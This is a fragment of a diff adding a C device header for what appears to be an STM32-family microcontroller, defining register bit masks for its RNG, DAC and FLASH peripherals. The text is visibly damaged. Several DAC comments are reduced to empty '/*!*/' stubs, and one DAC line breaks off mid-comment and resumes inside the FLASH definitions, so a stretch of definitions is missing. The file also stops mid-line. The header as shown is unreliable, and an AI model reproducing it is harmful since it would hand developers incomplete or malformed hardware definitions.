RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30UL) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31UL) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0UL) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1UL) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2UL) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5UL) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6UL) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + +/******************** Bits definition for RNG_NSCR register *******************/ +#define RNG_NSCR_EN_OSC1_Pos (0UL) +#define RNG_NSCR_EN_OSC1_Msk (0x7UL << RNG_NSCR_EN_OSC1_Pos) /*!< 0x00000007 */ +#define RNG_NSCR_EN_OSC1 RNG_NSCR_EN_OSC1_Msk +#define RNG_NSCR_EN_OSC2_Pos (3UL) +#define RNG_NSCR_EN_OSC2_Msk (0x7UL << RNG_NSCR_EN_OSC2_Pos) /*!< 0x00000038 */ +#define RNG_NSCR_EN_OSC2 RNG_NSCR_EN_OSC2_Msk +#define RNG_NSCR_EN_OSC3_Pos (6UL) +#define RNG_NSCR_EN_OSC3_Msk (0x7UL << RNG_NSCR_EN_OSC3_Pos) /*!< 0x000001C0 */ +#define RNG_NSCR_EN_OSC3 RNG_NSCR_EN_OSC3_Msk +#define RNG_NSCR_EN_OSC4_Pos (9UL) +#define RNG_NSCR_EN_OSC4_Msk (0x7UL << RNG_NSCR_EN_OSC4_Pos) /*!< 0x00000E00 */ +#define RNG_NSCR_EN_OSC4 RNG_NSCR_EN_OSC4_Msk +#define RNG_NSCR_EN_OSC5_Pos (12UL) +#define RNG_NSCR_EN_OSC5_Msk (0x7UL << RNG_NSCR_EN_OSC5_Pos) /*!< 0x00007000 */ +#define RNG_NSCR_EN_OSC5 RNG_NSCR_EN_OSC5_Msk +#define RNG_NSCR_EN_OSC6_Pos (15UL) +#define RNG_NSCR_EN_OSC6_Msk (0x7UL << RNG_NSCR_EN_OSC6_Pos) /*!< 0x00038000 */ +#define RNG_NSCR_EN_OSC6 RNG_NSCR_EN_OSC6_Msk + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0UL) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk +/******************** RNG Nist Compliance Values *******************/ +#define RNG_CR_NIST_VALUE (0x00F10F00U) +#define RNG_HTCR_NIST_VALUE (0xA715U) +#define RNG_NSCR_NIST_VALUE (0x9049U) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0UL) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14UL) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16UL) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30UL) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0UL) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) + +#define FLASH_PAGE_SIZE 0x2000U /* 8 KB */ + +#define FLASH_PAGE_NB (FLASH_BANK_SIZE / FLASH_PAGE_SIZE) + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0UL) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_PRFTEN_Pos (8UL) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ +#define FLASH_ACR_LPM_Pos (11UL) +#define FLASH_ACR_LPM_Msk (0x1UL << FLASH_ACR_LPM_Pos) /*!< 0x00000800 */ +#define FLASH_ACR_LPM FLASH_ACR_LPM_Msk /*!< Low-Power read mode */ +#define FLASH_ACR_PDREQ1_Pos (12UL) +#define FLASH_ACR_PDREQ1_Msk (0x1UL << FLASH_ACR_PDREQ1_Pos) /*!< 0x00001000 */ +#define FLASH_ACR_PDREQ1 FLASH_ACR_PDREQ1_Msk /*!< Bank 1 power-down mode request */ +#define FLASH_ACR_PDREQ2_Pos (13UL) +#define FLASH_ACR_PDREQ2_Msk (0x1UL << FLASH_ACR_PDREQ2_Pos) /*!< 0x00002000 */ +#define FLASH_ACR_PDREQ2 FLASH_ACR_PDREQ2_Msk /*!< Bank 2 power-down mode request */ +#define FLASH_ACR_SLEEP_PD_Pos (14UL) +#define FLASH_ACR_SLEEP_PD_Msk (0x1UL << FLASH_ACR_SLEEP_PD_Pos) /*!< 0x00004000 */ +#define FLASH_ACR_SLEEP_PD FLASH_ACR_SLEEP_PD_Msk /*!< Flash power-down mode during sleep */ + +/****************** Bits definition for FLASH_NSSR register *****************/ +#define FLASH_NSSR_EOP_Pos (0UL) +#define FLASH_NSSR_EOP_Msk (0x1UL << FLASH_NSSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_NSSR_EOP FLASH_NSSR_EOP_Msk /*!< Non-secure end of operation */ +#define FLASH_NSSR_OPERR_Pos (1UL) +#define FLASH_NSSR_OPERR_Msk (0x1UL << FLASH_NSSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_NSSR_OPERR FLASH_NSSR_OPERR_Msk /*!< Non-secure operation error */ +#define FLASH_NSSR_PROGERR_Pos (3UL) +#define FLASH_NSSR_PROGERR_Msk (0x1UL << FLASH_NSSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_NSSR_PROGERR FLASH_NSSR_PROGERR_Msk /*!< Non-secure programming error */ +#define FLASH_NSSR_WRPERR_Pos (4UL) +#define FLASH_NSSR_WRPERR_Msk (0x1UL << FLASH_NSSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_NSSR_WRPERR FLASH_NSSR_WRPERR_Msk /*!< Non-secure write protection error */ +#define FLASH_NSSR_PGAERR_Pos (5UL) +#define FLASH_NSSR_PGAERR_Msk (0x1UL << FLASH_NSSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_NSSR_PGAERR FLASH_NSSR_PGAERR_Msk /*!< Non-secure programming alignment error */ +#define FLASH_NSSR_SIZERR_Pos (6UL) +#define FLASH_NSSR_SIZERR_Msk (0x1UL << FLASH_NSSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_NSSR_SIZERR FLASH_NSSR_SIZERR_Msk /*!< Non-secure size error */ +#define FLASH_NSSR_PGSERR_Pos (7UL) +#define FLASH_NSSR_PGSERR_Msk (0x1UL << FLASH_NSSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_NSSR_PGSERR FLASH_NSSR_PGSERR_Msk /*!< Non-secure programming sequence error */ +#define FLASH_NSSR_OPTWERR_Pos (13UL) +#define FLASH_NSSR_OPTWERR_Msk (0x1UL << FLASH_NSSR_OPTWERR_Pos) /*!< 0x00002000 */ +#define FLASH_NSSR_OPTWERR FLASH_NSSR_OPTWERR_Msk /*!< Option write error */ +#define FLASH_NSSR_BSY_Pos (16UL) +#define FLASH_NSSR_BSY_Msk (0x1UL << FLASH_NSSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_NSSR_BSY FLASH_NSSR_BSY_Msk /*!< Non-secure busy */ +#define FLASH_NSSR_WDW_Pos (17UL) +#define FLASH_NSSR_WDW_Msk (0x1UL << FLASH_NSSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_NSSR_WDW FLASH_NSSR_WDW_Msk /*!< Non-secure wait data to write */ +#define FLASH_NSSR_OEM1LOCK_Pos (18UL) +#define FLASH_NSSR_OEM1LOCK_Msk (0x1UL << FLASH_NSSR_OEM1LOCK_Pos) /*!< 0x00040000 */ +#define FLASH_NSSR_OEM1LOCK FLASH_NSSR_OEM1LOCK_Msk /*!< OEM1 lock */ +#define FLASH_NSSR_OEM2LOCK_Pos (19UL) +#define FLASH_NSSR_OEM2LOCK_Msk (0x1UL << FLASH_NSSR_OEM2LOCK_Pos) /*!< 0x00080000 */ +#define FLASH_NSSR_OEM2LOCK FLASH_NSSR_OEM2LOCK_Msk /*!< OEM2 lock */ +#define FLASH_NSSR_PD1_Pos (20UL) +#define FLASH_NSSR_PD1_Msk (0x1UL << FLASH_NSSR_PD1_Pos) /*!< 0x00100000 */ +#define FLASH_NSSR_PD1 FLASH_NSSR_PD1_Msk /*!< Bank 1 in power-down mode */ +#define FLASH_NSSR_PD2_Pos (21UL) +#define FLASH_NSSR_PD2_Msk (0x1UL << FLASH_NSSR_PD2_Pos) /*!< 0x00200000 */ +#define FLASH_NSSR_PD2 FLASH_NSSR_PD2_Msk /*!< Bank 2 in power-down mode */ + +/****************** Bits definition for FLASH_SECSR register ****************/ +#define FLASH_SECSR_EOP_Pos (0UL) +#define FLASH_SECSR_EOP_Msk (0x1UL << FLASH_SECSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_SECSR_EOP FLASH_SECSR_EOP_Msk /*!< Secure end of operation */ +#define FLASH_SECSR_OPERR_Pos (1UL) +#define FLASH_SECSR_OPERR_Msk (0x1UL << FLASH_SECSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_SECSR_OPERR FLASH_SECSR_OPERR_Msk /*!< Secure operation error */ +#define FLASH_SECSR_PROGERR_Pos (3UL) +#define FLASH_SECSR_PROGERR_Msk (0x1UL << FLASH_SECSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_SECSR_PROGERR FLASH_SECSR_PROGERR_Msk /*!< Secure programming error */ +#define FLASH_SECSR_WRPERR_Pos (4UL) +#define FLASH_SECSR_WRPERR_Msk (0x1UL << FLASH_SECSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_SECSR_WRPERR FLASH_SECSR_WRPERR_Msk /*!< Secure write protection error */ +#define FLASH_SECSR_PGAERR_Pos (5UL) +#define FLASH_SECSR_PGAERR_Msk (0x1UL << FLASH_SECSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_SECSR_PGAERR FLASH_SECSR_PGAERR_Msk /*!< Secure programming alignment error */ +#define FLASH_SECSR_SIZERR_Pos (6UL) +#define FLASH_SECSR_SIZERR_Msk (0x1UL << FLASH_SECSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_SECSR_SIZERR FLASH_SECSR_SIZERR_Msk /*!< Secure size error */ +#define FLASH_SECSR_PGSERR_Pos (7UL) +#define FLASH_SECSR_PGSERR_Msk (0x1UL << FLASH_SECSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_SECSR_PGSERR FLASH_SECSR_PGSERR_Msk /*!< Secure programming sequence error */ +#define FLASH_SECSR_BSY_Pos (16UL) +#define FLASH_SECSR_BSY_Msk (0x1UL << FLASH_SECSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_SECSR_BSY FLASH_SECSR_BSY_Msk /*!< Secure busy */ +#define FLASH_SECSR_WDW_Pos (17UL) +#define FLASH_SECSR_WDW_Msk (0x1UL << FLASH_SECSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_SECSR_WDW FLASH_SECSR_WDW_Msk /*!< Secure wait data to write */ + +/****************** Bits definition for FLASH_NSCR register *****************/ +#define FLASH_NSCR_PG_Pos (0UL) +#define FLASH_NSCR_PG_Msk (0x1UL << FLASH_NSCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_NSCR_PG FLASH_NSCR_PG_Msk /*!< Non-secure Programming */ +#define FLASH_NSCR_PER_Pos (1UL) +#define FLASH_NSCR_PER_Msk (0x1UL << FLASH_NSCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_NSCR_PER FLASH_NSCR_PER_Msk /*!< Non-secure Page Erase */ +#define FLASH_NSCR_MER1_Pos (2UL) +#define FLASH_NSCR_MER1_Msk (0x1UL << FLASH_NSCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_NSCR_MER1 FLASH_NSCR_MER1_Msk /*!< Non-secure Bank 1 Mass Erase */ +#define FLASH_NSCR_PNB_Pos (3UL) +#define FLASH_NSCR_PNB_Msk (0xFFUL << FLASH_NSCR_PNB_Pos) /*!< 0x000007F8 */ +#define FLASH_NSCR_PNB FLASH_NSCR_PNB_Msk /*!< Non-secure Page Number selection */ +#define FLASH_NSCR_BKER_Pos (11UL) +#define FLASH_NSCR_BKER_Msk (0x1UL << FLASH_NSCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_NSCR_BKER FLASH_NSCR_BKER_Msk /*!< Non-secure Bank Selection for Page Erase */ +#define FLASH_NSCR_BWR_Pos (14UL) +#define FLASH_NSCR_BWR_Msk (0x1UL << FLASH_NSCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_NSCR_BWR FLASH_NSCR_BWR_Msk /*!< Non-secure Burst Write Programming mode */ +#define FLASH_NSCR_MER2_Pos (15UL) +#define FLASH_NSCR_MER2_Msk (0x1UL << FLASH_NSCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_NSCR_MER2 FLASH_NSCR_MER2_Msk /*!< Non-secure Bank 2 Mass Erase */ +#define FLASH_NSCR_STRT_Pos (16UL) +#define FLASH_NSCR_STRT_Msk (0x1UL << FLASH_NSCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_NSCR_STRT FLASH_NSCR_STRT_Msk /*!< Non-secure Start */ +#define FLASH_NSCR_OPTSTRT_Pos (17UL) +#define FLASH_NSCR_OPTSTRT_Msk (0x1UL << FLASH_NSCR_OPTSTRT_Pos) /*!< 0x00020000 */ +#define FLASH_NSCR_OPTSTRT FLASH_NSCR_OPTSTRT_Msk /*!< Option Modification Start */ +#define FLASH_NSCR_EOPIE_Pos (24UL) +#define FLASH_NSCR_EOPIE_Msk (0x1UL << FLASH_NSCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_NSCR_EOPIE FLASH_NSCR_EOPIE_Msk /*!< Non-secure End of operation interrupt enable */ +#define FLASH_NSCR_ERRIE_Pos (25UL) +#define FLASH_NSCR_ERRIE_Msk (0x1UL << FLASH_NSCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_NSCR_ERRIE FLASH_NSCR_ERRIE_Msk /*!< Non-secure error interrupt enable */ +#define FLASH_NSCR_OBL_LAUNCH_Pos (27UL) +#define FLASH_NSCR_OBL_LAUNCH_Msk (0x1UL << FLASH_NSCR_OBL_LAUNCH_Pos) /*!< 0x08000000 */ +#define FLASH_NSCR_OBL_LAUNCH FLASH_NSCR_OBL_LAUNCH_Msk /*!< Force the option byte loading */ +#define FLASH_NSCR_OPTLOCK_Pos (30UL) +#define FLASH_NSCR_OPTLOCK_Msk (0x1UL << FLASH_NSCR_OPTLOCK_Pos) /*!< 0x40000000 */ +#define FLASH_NSCR_OPTLOCK FLASH_NSCR_OPTLOCK_Msk /*!< Option Lock */ +#define FLASH_NSCR_LOCK_Pos (31UL) +#define FLASH_NSCR_LOCK_Msk (0x1UL << FLASH_NSCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_NSCR_LOCK FLASH_NSCR_LOCK_Msk /*!< Non-secure Lock */ + +/****************** Bits definition for FLASH_SECCR register ****************/ +#define FLASH_SECCR_PG_Pos (0UL) +#define FLASH_SECCR_PG_Msk (0x1UL << FLASH_SECCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_SECCR_PG FLASH_SECCR_PG_Msk /*!< Secure Programming */ +#define FLASH_SECCR_PER_Pos (1UL) +#define FLASH_SECCR_PER_Msk (0x1UL << FLASH_SECCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_SECCR_PER FLASH_SECCR_PER_Msk /*!< Secure Page Erase */ +#define FLASH_SECCR_MER1_Pos (2UL) +#define FLASH_SECCR_MER1_Msk (0x1UL << FLASH_SECCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_SECCR_MER1 FLASH_SECCR_MER1_Msk /*!< Secure Bank 1 Mass Erase */ +#define FLASH_SECCR_PNB_Pos (3UL) +#define FLASH_SECCR_PNB_Msk (0xFFUL << FLASH_SECCR_PNB_Pos) /*!< 0x000007F8 */ +#define FLASH_SECCR_PNB FLASH_SECCR_PNB_Msk /*!< Secure Page Number selection */ +#define FLASH_SECCR_BKER_Pos (11UL) +#define FLASH_SECCR_BKER_Msk (0x1UL << FLASH_SECCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_SECCR_BKER FLASH_SECCR_BKER_Msk /*!< Secure Bank Selection for Page Erase */ +#define FLASH_SECCR_BWR_Pos (14UL) +#define FLASH_SECCR_BWR_Msk (0x1UL << FLASH_SECCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_SECCR_BWR FLASH_SECCR_BWR_Msk /*!< Secure Burst Write programming mode */ +#define FLASH_SECCR_MER2_Pos (15UL) +#define FLASH_SECCR_MER2_Msk (0x1UL << FLASH_SECCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_SECCR_MER2 FLASH_SECCR_MER2_Msk /*!< Secure Bank 2 Mass Erase */ +#define FLASH_SECCR_STRT_Pos (16UL) +#define FLASH_SECCR_STRT_Msk (0x1UL << FLASH_SECCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_SECCR_STRT FLASH_SECCR_STRT_Msk /*!< Secure Start */ +#define FLASH_SECCR_EOPIE_Pos (24UL) +#define FLASH_SECCR_EOPIE_Msk (0x1UL << FLASH_SECCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_SECCR_EOPIE FLASH_SECCR_EOPIE_Msk /*!< Secure end of operation interrupt enable */ +#define FLASH_SECCR_ERRIE_Pos (25UL) +#define FLASH_SECCR_ERRIE_Msk (0x1UL << FLASH_SECCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_SECCR_ERRIE FLASH_SECCR_ERRIE_Msk /*!< Secure error interrupt enable */ +#define FLASH_SECCR_INV_Pos (29UL) +#define FLASH_SECCR_INV_Msk (0x1UL << FLASH_SECCR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_SECCR_INV FLASH_SECCR_INV_Msk /*!< Flash Security State Invert */ +#define FLASH_SECCR_LOCK_Pos (31UL) +#define FLASH_SECCR_LOCK_Msk (0x1UL << FLASH_SECCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_SECCR_LOCK FLASH_SECCR_LOCK_Msk /*!< Secure Lock */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0UL) +#define FLASH_ECCR_ADDR_ECC_Msk (0x1FFFFFUL << FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x001FFFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_BK_ECC_Pos (21UL) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00200000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (22UL) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (24UL) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30UL) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31UL) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0UL) +#define FLASH_OPSR_ADDR_OP_Msk (0x1FFFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x001FFFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Flash operation address */ +#define FLASH_OPSR_BK_OP_Pos (21UL) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00200000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (22UL) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29UL) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTR register ***************/ +#define FLASH_OPTR_RDP_Pos (0UL) +#define FLASH_OPTR_RDP_Msk (0xFFUL << FLASH_OPTR_RDP_Pos) /*!< 0x000000FF */ +#define FLASH_OPTR_RDP FLASH_OPTR_RDP_Msk /*!< Readout protection level */ +#define FLASH_OPTR_BOR_LEV_Pos (8UL) +#define FLASH_OPTR_BOR_LEV_Msk (0x7UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000700 */ +#define FLASH_OPTR_BOR_LEV FLASH_OPTR_BOR_LEV_Msk /*!< BOR reset Level */ +#define FLASH_OPTR_BOR_LEV_0 (0x1UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000100 */ +#define FLASH_OPTR_BOR_LEV_1 (0x2UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000200 */ +#define FLASH_OPTR_BOR_LEV_2 (0x4UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000400 */ +#define FLASH_OPTR_nRST_STOP_Pos (12UL) +#define FLASH_OPTR_nRST_STOP_Msk (0x1UL << FLASH_OPTR_nRST_STOP_Pos) /*!< 0x00001000 */ +#define FLASH_OPTR_nRST_STOP FLASH_OPTR_nRST_STOP_Msk /*!< nRST_STOP */ +#define FLASH_OPTR_nRST_STDBY_Pos (13UL) +#define FLASH_OPTR_nRST_STDBY_Msk (0x1UL << FLASH_OPTR_nRST_STDBY_Pos) /*!< 0x00002000 */ +#define FLASH_OPTR_nRST_STDBY FLASH_OPTR_nRST_STDBY_Msk /*!< nRST_STDBY */ +#define FLASH_OPTR_nRST_SHDW_Pos (14UL) +#define FLASH_OPTR_nRST_SHDW_Msk (0x1UL << FLASH_OPTR_nRST_SHDW_Pos) /*!< 0x00004000 */ +#define FLASH_OPTR_nRST_SHDW FLASH_OPTR_nRST_SHDW_Msk /*!< nRST_SHDW */ +#define FLASH_OPTR_SRAM_RST_Pos (15UL) +#define FLASH_OPTR_SRAM_RST_Msk (0x1UL << FLASH_OPTR_SRAM_RST_Pos) /*!< 0x00008000 */ +#define FLASH_OPTR_SRAM_RST FLASH_OPTR_SRAM_RST_Msk /*!< All SRAMs (except SRAM2 and BKPSRAM) erase upon system reset */ +#define FLASH_OPTR_IWDG_SW_Pos (16UL) +#define FLASH_OPTR_IWDG_SW_Msk (0x1UL << FLASH_OPTR_IWDG_SW_Pos) /*!< 0x00010000 */ +#define FLASH_OPTR_IWDG_SW FLASH_OPTR_IWDG_SW_Msk /*!< Independent watchdog selection */ +#define FLASH_OPTR_IWDG_STOP_Pos (17UL) +#define FLASH_OPTR_IWDG_STOP_Msk (0x1UL << FLASH_OPTR_IWDG_STOP_Pos) /*!< 0x00020000 */ +#define FLASH_OPTR_IWDG_STOP FLASH_OPTR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTR_IWDG_STDBY_Pos (18UL) +#define FLASH_OPTR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTR_IWDG_STDBY_Pos) /*!< 0x00040000 */ +#define FLASH_OPTR_IWDG_STDBY FLASH_OPTR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTR_WWDG_SW_Pos (19UL) +#define FLASH_OPTR_WWDG_SW_Msk (0x1UL << FLASH_OPTR_WWDG_SW_Pos) /*!< 0x00080000 */ +#define FLASH_OPTR_WWDG_SW FLASH_OPTR_WWDG_SW_Msk /*!< Window watchdog selection */ +#define FLASH_OPTR_SWAP_BANK_Pos (20UL) +#define FLASH_OPTR_SWAP_BANK_Msk (0x1UL << FLASH_OPTR_SWAP_BANK_Pos) /*!< 0x00100000 */ +#define FLASH_OPTR_SWAP_BANK FLASH_OPTR_SWAP_BANK_Msk /*!< Swap banks */ +#define FLASH_OPTR_DUALBANK_Pos (21UL) +#define FLASH_OPTR_DUALBANK_Msk (0x1UL << FLASH_OPTR_DUALBANK_Pos) /*!< 0x00200000 */ +#define FLASH_OPTR_DUALBANK FLASH_OPTR_DUALBANK_Msk /*!< Dual-bank on 1M and 512 Kbytes Flash memory devices */ +#define FLASH_OPTR_BKPRAM_ECC_Pos (22UL) +#define FLASH_OPTR_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTR_BKPRAM_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_OPTR_BKPRAM_ECC FLASH_OPTR_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTR_SRAM3_ECC_Pos (23UL) +#define FLASH_OPTR_SRAM3_ECC_Msk (0x1UL << FLASH_OPTR_SRAM3_ECC_Pos) /*!< 0x00800000 */ +#define FLASH_OPTR_SRAM3_ECC 